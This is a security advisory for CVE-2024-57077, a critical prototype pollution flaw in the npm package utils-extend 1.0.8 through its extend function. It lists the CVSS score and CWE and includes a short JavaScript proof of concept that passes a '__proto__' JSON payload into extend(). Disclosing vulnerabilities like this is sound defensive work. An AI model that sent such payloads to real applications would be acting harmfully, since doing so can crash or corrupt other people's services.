GitStock

douzi8/utils-extend · Security

utils-extend Prototype Pollution

GHSA ID
GHSA-7qgg-vw88-cc99
CVE ID
CVE-2024-57077
Severity
critical
Published
Updated
CVSS
9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CVSS v3
9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Description

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

PoC

async function exploit() {
   const utilsextend = require(\"utils-extend\");
   const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
   const result = await utilsextend.extend({}, payload);
}

await exploit();

CWEs

  • CWE-1321 · Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

References

Open GitHub